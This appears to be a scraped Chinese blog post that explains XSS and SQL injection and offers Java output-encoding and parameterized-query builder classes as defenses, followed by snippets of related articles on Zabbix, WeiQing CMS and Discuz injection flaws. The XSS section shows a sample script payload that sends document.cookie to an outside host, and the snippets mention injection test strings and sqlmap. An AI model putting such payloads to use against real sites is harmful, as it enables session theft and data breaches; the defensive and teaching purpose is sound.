WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见。

对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

XSS工作流程

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script

2)恶意提交这个表单

3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

import java.net.URLEncoder;

/**
 * 过滤非法字符工具类
 *
 */
public class EncodeFilter {

    //过滤大部分html字符
    public static String encode(String input) {
        if (input == null) {
            return input;
        }
        StringBuilder sb = new StringBuilder(input.length());
        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);
            switch (ch) {
                case ‘&‘: sb.append("&amp;");
                    break;
                case ‘<‘: sb.append("&lt;");
                    break;
                case ‘>‘: sb.append("&gt;");
                    break;
                case ‘"‘: sb.append("&quot;");
                    break;
                case ‘\‘‘: sb.append("'");
                    break;
                case ‘/‘: sb.append("/");
                    break;
                default: sb.append(ch);
            }
        }
        return sb.toString();
    }

    //js端过滤
    public static String encodeForJS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // do not encode alphanumeric characters and ‘,‘ ‘.‘ ‘_‘
            if (ch >= ‘a‘ && ch <= ‘z‘ || ch >= ‘A‘ && ch <= ‘Z‘ ||
                    ch >= ‘0‘ && ch <= ‘9‘ ||
                    ch == ‘,‘ || ch == ‘.‘ || ch == ‘_‘) {
                sb.append(ch);
            } else {
                String temp = Integer.toHexString(ch);

                // encode up to 256 with \\xHH
                if (ch < 256) {
                    sb.append(‘\\‘).append(‘x‘);
                    if (temp.length() == 1) {
                        sb.append(‘0‘);
                    }
                    sb.append(temp.toLowerCase());

                // otherwise encode with \\uHHHH
                } else {
                    sb.append(‘\\‘).append(‘u‘);
                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
                        sb.append(‘0‘);
                    }
                    sb.append(temp.toUpperCase());
                }
            }
        }

        return sb.toString();
    }

    /**
     * css非法字符过滤
     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters    */
    public static String encodeForCSS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // check for alphanumeric characters
            if (ch >= ‘a‘ && ch <= ‘z‘ || ch >= ‘A‘ && ch <= ‘Z‘ ||
                    ch >= ‘0‘ && ch <= ‘9‘) {
                sb.append(ch);
            } else {
                // return the hex and end in whitespace to terminate
                sb.append(‘\\‘).append(Integer.toHexString(ch)).append(‘ ‘);
            }
        }
        return sb.toString();
    }

    /**
     * URL参数编码
     * http://en.wikipedia.org/wiki/Percent-encoding     */
    public static String encodeURIComponent(String input) {
        return encodeURIComponent(input, "utf-8");
    }

    public static String encodeURIComponent(String input, String encoding) {
        if (input == null) {
            return input;
        }
        String result;
        try {
            result = URLEncoder.encode(input, encoding);
        } catch (Exception e) {
            result = "";
        }
        return result;
    }

    public static boolean isValidURL(String input) {
        if (input == null || input.length() < 8) {
            return false;
        }
        char ch0 = input.charAt(0);
        if (ch0 == ‘h‘) {
            if (input.charAt(1) == ‘t‘ &&
                input.charAt(2) == ‘t‘ &&
                input.charAt(3) == ‘p‘) {
                char ch4 = input.charAt(4);
                if (ch4 == ‘:‘) {
                    if (input.charAt(5) == ‘/‘ &&
                        input.charAt(6) == ‘/‘) {

                        return isValidURLChar(input, 7);
                    } else {
                        return false;
                    }
                } else if (ch4 == ‘s‘) {
                    if (input.charAt(5) == ‘:‘ &&
                        input.charAt(6) == ‘/‘ &&
                        input.charAt(7) == ‘/‘) {

                        return isValidURLChar(input, 8);
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                return false;
            }

        } else if (ch0 == ‘f‘) {
            if( input.charAt(1) == ‘t‘ &&
                input.charAt(2) == ‘p‘ &&
                input.charAt(3) == ‘:‘ &&
                input.charAt(4) == ‘/‘ &&
                input.charAt(5) == ‘/‘) {

                return isValidURLChar(input, 6);
            } else {
                return false;
            }
        }
        return false;
    }

    static boolean isValidURLChar(String url, int start) {
        for (int i = start, c = url.length(); i < c; i ++) {
            char ch = url.charAt(i);
            if (ch == ‘"‘ || ch == ‘\‘‘) {
                return false;
            }
        }
        return true;
    }

}

乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779

SQL注入漏洞

SQL注入攻击的原理

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

防御方法

  • 使用预编译语句,
  • 绑定变量
  • 使用安全的存储过程
  • 检查数据类型
  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class SqlBuilder {
    protected StringBuilder sqlBuf = new StringBuilder();
    protected List<Object> values = new ArrayList<Object>();
    protected Map<String, Object> paramMap = new HashMap<String, Object>();

    public SqlBuilder appendSql(String sql) {
        sqlBuf.append(sql);
        return this;
    }

    public SqlBuilder appendValue(Object value) {
        sqlBuf.append(‘?‘);
        values.add(value);
        return this;
    }

    public SqlBuilder appendValues(Object[] values) {
        sqlBuf.append(‘(‘);
        for (int i = 0, c = values.length; i < c; ++i) {
            sqlBuf.append(‘?‘).append(‘,‘);
            this.values.add(values[i]);
        }
        int last = sqlBuf.length() - 1;
        if (last > 0 && sqlBuf.charAt(last) == ‘,‘) {
            sqlBuf.setCharAt(last, ‘)‘);
        }
        return this;
    }

    public SqlBuilder appendEqParam(String param, Object value) {
        sqlBuf.append(param).append(" = :").append(param);
        paramMap.put(param, value);
        return this;
    }

    public SqlBuilder appendLtParam(String param, Object value) {
        sqlBuf.append(param).append(" < :").append(param);
        paramMap.put(param, value);
        return this;
    }

    public SqlBuilder appendGtParam(String param, Object value) {
        sqlBuf.append(param).append(" > :").append(param);
        paramMap.put(param, value);
        return this;
    }

    public SqlBuilder appendInParam(String param, Object ... values) {
        if(values == null) {
            return this;
        }
        sqlBuf.append(param).append(" in (");
        int len = values.length;
        for(int i = 0; i < len; i++) {
            if(i != 0) {
                sqlBuf.append(", ");
            }
            sqlBuf.append(":").append(param).append(i);
            paramMap.put(param+i, values[i]);
        }
        sqlBuf.append(")");
        return this;
    }

    public SqlBuilder appendLikeParam(String param, Object value) {
        sqlBuf.append(param).append(" like :").append(param);
        paramMap.put(param, "%"+value+"%");
        return this;
    }

    public String getSql() {
        return sqlBuf.toString();
    }

    public Object[] getValues() {
        return values.toArray();
    }

    public Map<String, Object> getParamMap() {
        return paramMap;
    }
}

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!

时间: 2024-10-08 10:19:14

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案的相关文章

网站漏洞修复方案防止SQL注入×××漏洞

SQL注入漏洞在网站漏洞里面属于高危漏洞,排列在前三,受影响范围较广,像asp..net.PHP.java.等程序语言编写的代码,都存在着sql注入漏洞,那么如何检测网站存在sql注入漏洞? SQL注入漏洞测试方法 在程序代码里不管是get提交,post提交,cookies的方式,都可以有随意控制参数的一个参数值,通过使用sql注入工具,经典的sqlmap进行检测与漏洞利用,也可以使用一些国内的SQL代码注入工具,最简单的安全测试方法就是利用数据库的单引号, AND 1=1 AND 1=2等等的

微擎SQL注入漏洞

漏洞名称:微擎SQL注入漏洞 补丁文件:/web/source/mc/card.ctrl.php 补丁来源:阿里云云盾自研 漏洞描述:微擎CMS的/web/source/mc/card.ctrl.php中,对cardid输入参数未进行严格类型转义,导致SQL注入的发生 解决方法 搜索代码 if ($do == 'manage') 如下图: 在 201 行 前添加代码 $_GPC['cardid'] = intval($_GPC['cardid']); 修改后如图: 补丁文件:/web/sourc

zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在zabbix地址后面添加这串url jsrpc.php?type=9&method=s

预处理prepareStatement是怎么防止sql注入漏洞的?

序,目前在对数据库进行操作之前,使用prepareStatement预编译,然后再根据通配符进行数据填值,是比较常见的做法,好处是提高执行效率,而且保证排除SQL注入漏洞. 一.prepareStatement的预编译和防止SQL注入功能 大家都知道,java中JDBC中,有个预处理功能,这个功能一大优势就是能提高执行速度尤其是多次操作数据库的情况,再一个优势就是预防SQL注入,严格的说,应该是预防绝大多数的SQL注入. 用法就是如下边所示: String sql="update cz_zj_d

Zabbix-20160817-高危SQL注入漏洞

漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 但是无需登录注入这里有个前提,就是zabbix开启了guest权限.而在zabbix中,guest的默认密码为空.需要有这个条件的支持才可以进行无权限注入. 影响程度: 攻击成本:低 危害程度:高 是否登陆:不需要 影响范

zabbix再爆高危SQL注入漏洞,可获系统权限

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 官方网站 http://www.zabbix.com 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在您的zabbix的地址后面加上如

利用SQL注入漏洞登录后台的实现方法

利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的.  如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的.  前些天,网上传

利用SQL注入漏洞登录后台

题记:工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的“拖库”事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常

Discuz &lt;= 7.2 SQL注入漏洞详情

Discuz树大招风已成常态,不过对于其他整站程序何尝不是如此?是否曾记得大明湖畔的PHPCMS和DEDCMS万人破的场景,流行整站程序最重要的还是漏洞的快速响应. 0x01 漏洞成因: 在<高级PHP应用程序漏洞审核技术>一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现,如下面的代码片段: 1 // foo.php?xigr='ryat 2 3 function daddslashes($